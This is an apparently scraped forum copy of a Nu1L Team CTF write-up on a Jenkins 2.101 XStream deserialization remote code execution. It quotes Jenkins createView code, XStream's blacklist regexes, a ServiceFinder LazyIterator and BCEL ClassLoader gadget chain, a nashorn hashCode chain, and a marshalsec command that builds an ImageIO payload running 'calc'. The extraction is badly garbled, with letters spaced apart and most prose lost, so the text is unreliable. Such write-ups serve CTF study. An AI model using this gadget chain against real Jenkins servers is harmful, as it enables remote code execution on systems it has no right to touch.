[27503] 2020-01-13_空指针CTF一月内部赛Writeup-JenkinsRce

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-01-13_空指针CTF一月内部赛Writeup-JenkinsRce C T F W r i t e u p - J e n k i n s   R c e   N u 1 L   T e a m   N u 1 L   T e a m   2 0 2 0 - 0 1 - 1 3 t i t l e :   ' J e n k i n s   2 . 1 0 1   X S t r e a m   R c e [ C T F W r i t e u p ] ' d a t e :   2 0 2 0 - 0 1 - 0 9   0 2 : 3 0 : 2 6 A u t h o r : @ N u 1 L c r e a t e V i e w x m l b o o l e a n   i s X m l S u b m i s s i o n   =   r e q u e s t C o n t e n t T y p e   ! =   n u l l   & &   ( r e q u e s t C o n t e n t T y p e . s t a r t s W i t h ( " a p p l i c a t i o n / x m l " )   | | r e q u e s t C o n t e n t T y p e . s t a r t s W i t h ( " t e x t / x m l " ) ) ; . . . . . . i f   ( m o d e   ! =   n u l l   & &   m o d e . l e n g t h ( )   ! =   0 )   {       i f   ( " c o p y " . e q u a l s ( m o d e ) )   {               v   =   c o p y ( r e q ,   o w n e r ,   n a m e ) ;     }   e l s e   {               V i e w D e s c r i p t o r   d e s c r i p t o r   =   ( V i e w D e s c r i p t o r ) a l l ( ) . f i n d B y N a m e ( m o d e ) ;               i f   ( d e s c r i p t o r   = =   n u l l )   {                       t h r o w   n e w   F a i l u r e ( " N o   v i e w   t y p e   "   +   m o d e   +   "   i s   k n o w n " ) ;             }               v   =   ( V i e w ) d e s c r i p t o r . n e w I n s t a n c e ( r e q ,   r e q . g e t S u b m i t t e d F o r m ( ) ) ;     }       o w n e r . g e t A C L ( ) . c h e c k C r e a t e P e r m i s s i o n ( o w n e r ,   v . g e t D e s c r i p t o r ( ) ) ;       v . o w n e r   =   o w n e r ;       r s p . s e n d R e d i r e c t 2 ( r e q . g e t C o n t e x t P a t h ( )   +   ' / '   +   v . g e t U r l ( )   +   v . g e t P o s t C o n s t r u c t L a n d i n g P a g e ( ) ) ;       r e t u r n   v ; }   e l s e   i f   ( i s X m l S u b m i s s i o n )   {       v   =   c r e a t e V i e w F r o m X M L ( n a m e ,   r e q . g e t I n p u t S t r e a m ( ) ) ;       o w n e r . g e t A C L ( ) . c h e c k C r e a t e P e r m i s s i o n ( o w n e r ,   v . g e t D e s c r i p t o r ( ) ) ;       v . o w n e r   =   o w n e r ;       r s p . s e t S t a t u s ( 2 0 0 ) ;       r e t u r n   v ; }   e l s e   {       t h r o w   n e w   F a i l u r e ( M e s s a g e s . V i e w _ M i s s i n g M o d e ( ) ) ; } x m l c r e a t e V i e w m o d e C o n t e n t - T y p e c r e a t e V i e w F r o m X M L X S t e a m x m l J e n k i n s R C E p r i v a t e   s t a t i c   f i n a l   S t r i n g [ ]   D E F A U L T _ P A T T E R N S   =   n e w   S t r i n g [ ] { " ^ b s h [ . ] . * " , " ^ c o m [ . ] g o o g l e [ . ] i n j e c t [ . ] . * " , " ^ c o m [ . ] m c h a n g e [ . ] v 2 [ . ] c 3 p 0 [ . ] . * " , " ^ c o m [ . ] s u n [ . ] j n d i [ . ] . * " , " ^ c o m [ . ] s u n [ . ] c o r b a [ . ] . * " , " ^ c o m [ . ] s u n [ . ] j a v a f x [ . ] . * " ,   " ^ c o m [ . ] s u n [ . ] o r g [ . ] a p a c h e [ . ] r e g e x [ . ] i n t e r n a l [ . ] . * " , " ^ j a v a [ . ] a w t [ . ] . * " , " ^ j a v a [ . ] r m i [ . ] . * " , a p p l i c a t i o n / x m l
" ^ j a v a x [ . ] m a n a g e m e n t [ . ] . * " , " ^ j a v a x [ . ] n a m i n g [ . ] . * " , " ^ j a v a x [ . ] s c r i p t [ . ] . * " , " ^ j a v a x [ . ] s w i n g [ . ] . * " , " ^ o r g [ . ] a p a c h e [ . ] c o m m o n s [ . ] b e a n u t i l s [ . ] . * " ,   " ^ o r g [ . ] a p a c h e [ . ] c o m m o n s [ . ] c o l l e c t i o n s [ . ] f u n c t o r s [ . ] . * " , " ^ o r g [ . ] a p a c h e [ . ] m y f a c e s [ . ] . * " , " ^ o r g [ . ] a p a c h e [ . ] w i c k e t [ . ] . * " , " . * o r g [ . ] a p a c h e [ . ] x a l a n . * " , " ^ o r g [ . ] c o d e h a u s [ . ] g r o o v y [ . ] r u n t i m e [ . ] . * " , " ^ o r g [ . ] h i b e r n a t e [ . ] . * " , " ^ o r g [ . ] p y t h o n [ . ] . * " , " ^ o r g [ . ] s p r i n g f r a m e w o r k [ . ] ( ? ! ( p { A l n u m } + [ . ] ) * p { A l n u m } * E x c e p t i o n $ ) . * " ,   " ^ s u n [ . ] r m i [ . ] . * " , " ^ j a v a x [ . ] i m a g e i o [ . ] . * " , " ^ j a v a [ . ] u t i l [ . ] S e r v i c e L o a d e r $ " , " ^ j a v a [ . ] n e t [ . ] U R L C l a s s L o a d e r $ " } ; 使 使 B c e l C l a s s L o a d e r h t t p s : / / p a p e r . s e e b u g . o r g / 5 7 2 / # 0 x 0 2 - f a s t j s o n C l a s s L o a d e r e v i l . c l a s s b y t e p [ ] d e f i n e C l a s s C l a s s e v i l C l a s s . f o r N a m e s t a t i c @ o r i c h : p u b l i c   T   n e x t ( )   {       i f   ( ! t h i s . h a s N e x t ( ) )   {               t h r o w   n e w   N o S u c h E l e m e n t E x c e p t i o n ( ) ;     }   e l s e   {               S e r v i c e F i n d e r . S e r v i c e N a m e   s n   =   t h i s . n a m e s [ t h i s . i n d e x + + ] ;               S t r i n g   c n   =   s n . c l a s s N a m e ;               U R L   c u r r e n t C o n f i g   =   s n . c o n f i g ;               t r y   {                       r e t u r n   t h i s . s e r v i c e . c a s t ( C l a s s . f o r N a m e ( c n ,   t r u e ,   t h i s . l o a d e r ) . n e w I n s t a n c e ( ) ) ;             }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   v a r 5 )   {                       S e r v i c e F i n d e r . f a i l ( t h i s . s e r v i c e ,   " P r o v i d e r   "   +   c n   +   "   i s   s p e c i f i e d   i n   "   +   c u r r e n t C o n f i g   +   "   b u t   n o t   f o u n d " ) ;             }   c a t c h   ( E x c e p t i o n   v a r 6 )   {                       S e r v i c e F i n d e r . f a i l ( t h i s . s e r v i c e ,   " P r o v i d e r   "   +   c n   +   "   i s   s p e c i f i e d   i n   "   +   c u r r e n t C o n f i g   +   " b u t   c o u l d   n o t   b e i n s t a n t i a t e d :   "   +   v a r 6 ,   v a r 6 ) ;             }               r e t u r n   n u l l ;     } } c n t r u e c o m . s u n . x m l . i n t e r n a l . w s . u t i l . S e r v i c e F i n d e r $ L a z y I t e r a t o r X S t r e a m C l a s s . f o r N a m e C l a s s . f o r N a m e
x m l 1 .   c o m . s u n . x m l . i n t e r n a l . w s . u t i l . S e r v i c e F i n d e r $ L a z y I t e r a t o r # n e x t 2 .   J a v a . l a n g . C l a s s # f o r N a m e 3 .   c o m . s u n . o r g . a p a c h e . b c e l . i n t e r n a l . u t i l . C l a s s L o a d e r # l o a d C l a s s X S t r e a m L a z y I t e r a t o r X S t r e a m x m l m a p x m l m a p 使 H a s h M a p k e y v a l u e p u t p u t 使 H a s h M a p H a s h C o d e h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c / b l o b / m a s t e r / m a r s h a l s e c . p d f p o c : 1 .   j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g H a s h C o d e N a t i v e   S t r i n g - > g e t S t r i n g V a l u e ( ) 2 .   g e t S t r i n g V a l u e ( )     j a v a . l a n g . C h a r S e q u e n c e - > t o S t r i n g ( ) 3 .   c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a     t o S t r i n g ( ) B a s e 6 4 D a t a - > g e t ( ) 4 .   B a s e 6 4 D a t a - > g e t ( )   j a v a x . a c t i v a t i o n . D a t a S o u r c e j a v a . i o . I n p u t S t r e a m r e a d c o m . s u n . x m l . i n t e r n a l . w s . e n c o d i n g . x m l . X M L M e s s a g e $ X m l D a t a S o u r c e D a t a S o u r c e 5 .   j a v a x . c r y p t o . C i p h e r I n p u t S t r e a m   r e a d ( )   j a v a x . c r y p t o . C i p h e r - > u p d a t e ( ) 6 .   j a v a x . c r y p t o . C i p h e r - > u p d a t e ( )     c h o o s e F i r s t P r o v i d e r ( )   I t e r a t o r L a z y I t e r a t o r X S t r e a m S t r u t s 2   0 5 2 p o c m a r s h a l s e c j a v a   - c p   t a r g e t / m a r s h a l s e c - 0 . 0 . 1 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . X S t r e a m   I m a g e I O   " c a l c "   >   p o c . x m l L a z y I t e r a t o r l o a d e r b c e l   c l a s s l o a d e r n a m e s i n d e x 0 n e x t : p u b l i c   T   n e x t ( )   {       i f   ( ! t h i s . h a s N e x t ( ) )   {               t h r o w   n e w   N o S u c h E l e m e n t E x c e p t i o n ( ) ;     }   e l s e   { t h i s . n a m e s ^ j a v a x [ . ] i m a g e i o [ . ] . * L a z y I t e r a t o r $ $ B C E L $ $ L a z y I t e r a t o r
              S e r v i c e F i n d e r . S e r v i c e N a m e   s n   =   t h i s . n a m e s [ t h i s . i n d e x + + ] ;               S t r i n g   c n   =   s n . c l a s s N a m e ;               U R L   c u r r e n t C o n f i g   =   s n . c o n f i g ;               t r y   {                       r e t u r n   t h i s . s e r v i c e . c a s t ( C l a s s . f o r N a m e ( c n ,   t r u e ,   t h i s . l o a d e r ) . n e w I n s t a n c e ( ) ) ;             }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   v a r 5 )   {                       S e r v i c e F i n d e r . f a i l ( t h i s . s e r v i c e ,   " P r o v i d e r   "   +   c n   +   "   i s   s p e c i f i e d   i n   "   +   c u r r e n t C o n f i g   +   "   b u t   n o t   f o u n d " ) ;             }   c a t c h   ( E x c e p t i o n   v a r 6 )   {                       S e r v i c e F i n d e r . f a i l ( t h i s . s e r v i c e ,   " P r o v i d e r   "   +   c n   +   "   i s   s p e c i f i e d   i n   "   +   c u r r e n t C o n f i g   +   " b u t   c o u l d   n o t   b e i n s t a n t i a t e d :   "   +   v a r 6 ,   v a r 6 ) ;             }               r e t u r n   n u l l ;     } } R e f e r e r e n c e h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 7 2 1 9 8 # h 2 - 4 h t t p s : / / p a p e r . s e e b u g . o r g / 5 7 2 / # 0 x 0 2 - f a s t j s o n h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c / b l o b / m a s t e r / m a r s h a l s e c . p d f h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 9 7 6 5 9 . h t m l c o m . s u n . o r g . a p a c h e . b c e l . i n t e r n a l . u t i l . C l a s s L o a d e r l o a d C l a s s $ $ B C E L $ $ c o m . s u n . o r g . a p a c h e . b c e l . i n t e r n a l . u t i l . C l a s s L o a d e r j a v a . l a n g . C l a s s L o a d e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则